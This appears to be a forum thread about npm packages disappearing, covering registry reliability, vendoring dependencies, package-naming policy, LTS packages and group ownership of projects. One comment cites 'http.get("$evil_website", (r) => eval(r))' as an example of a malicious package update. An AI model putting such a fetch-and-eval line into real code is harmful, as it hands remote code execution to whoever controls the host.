Many packages suddenly disappeared

Unless I'm misunderstanding something about Central's architecture, it's not fundamentally different from NPM in this regard, though signing appears a bit more feasible.

Which means that it's not a technical difference. Maybe Central has been compromised/had issues before, just long ago (it's certainly much older). Maybe there are things wrong with NPM-as-a-company even if NPM-as-a-technology is fine. Maybe it's just luck.

But "stays there until nuclear fire immolates the Earth" sounds a bit much like "this ship is completely unsinkable" for my liking.

This is a rehash of my comment elsewhere here, responding to a similar point:

There are advantages to checking in all your deps, but many drawbacks as well (especially for an interpreted language; something like Go avoids a few of these):

- Incredibly slow SCM operations unless you use the perfect options every time (good luck, new devs). I've experienced this with Perforce and Git, and hoo boy does a "get three cups of coffee while you wait"-time diff/commit operation throw a hitch in your plans.

- You need either very good discipline about updating just a few packages at a time (good luck when cascading dependencies that are shared at multiple levels of the tree update), or incredibly huge, confusing diffs to read when you update stuff.

- Actually understanding the diffs you read when packages get updated. Packages updated to do things like 'http.get("$evil_website", (r) => eval(r))' are only a tiny fraction of the malicious or dangerous code you'll see in package updates.

- Hassles with regards to compiled dependencies. You have to filter them out of source control (can be a hassle to find all the places they live), or remember to rebuild when changing OS versions/stdlib versions/runtime versions/architectures/etc. That can get pretty annoying, especially since in my experience each "runtime loaded" compiled dependency gives you many completely different, utterly unintelligible errors when it's used in an environment where it should be rebuilt.

> using political correctness to bully people around them.

"Please don't use unnecessarily harmful/crude/we-don't-like-it language when giving names to pieces of computer software that we host, manage, and coordinate for you" counts as bullying now? I think not. As they say, if you don't like it, don't play.

And besides, NPM seems pretty focused on package names alone (as they should be). If you absolutely must live out your libertarian fantasy by being insulting, nobody's stopping you from making the API to your package something like:

  const pkg = require('totally-innocuous')
  
 pkg.IHateYouBecauseOfYourEthicityOrGenderOrReligionAndIAmProudOfIt()

I don't use NPM (or community managed package managers in general), but anyone know why there isn't an LTS feature with packages? So that, when searching packages, if a package is flagged as LTS, you know that it and all its dependencies have long term support and there are contingencies on what happens if the package is abandoned. Obviously, there would need to be a community that reviews and approves packages that aim to be LTS.

Sometimes your project becomes bigger than you, and perhaps private ownership isn't the best way to handle that anymore:

http://magarshak.com/blog/?tag=identity

Well, Q allows you to choose between “each individual publishes their own stream” and some degree of “centralized publishing” by management teams of groups. So who should publish a stream, the individual or the group?

If the individual - the risk is that the individual may have too much power over others who come to rely on the stream. They may suddenly stop publishing it, or cut off access to everyone, which would hurt many people. (I define hurt in terms of needs or strong expectations of people that form over time.)

If the group - then managers may come and go, but the risk is that if the group is too big, it may be out of touch with the individuals. The bigger risk is that the individuals are forced to go along with the group, which may also create a lot of frustration. For instance, the group may give rise to into three sub-groups. They are deciding where to go, but some people want to go bowling, others want to go to the movies, others want to volunteer in a soup kitchen. Even though everyone belongs to the group. Who should publish these activities?

So I think when it comes to publishing streams that others can join, there should be some combination of groups and individuals. And it should reflect the best practices of what happens in the real world: one person starts a group that may later become bigger than him. Then this group grows, gets managers etc. After a while this person may leave. In the future, other individuals may want to start their own groups and invite some members of the old group to join. They may establish relationships between each other, subscribe to each other’s streams, pay each other money, etc.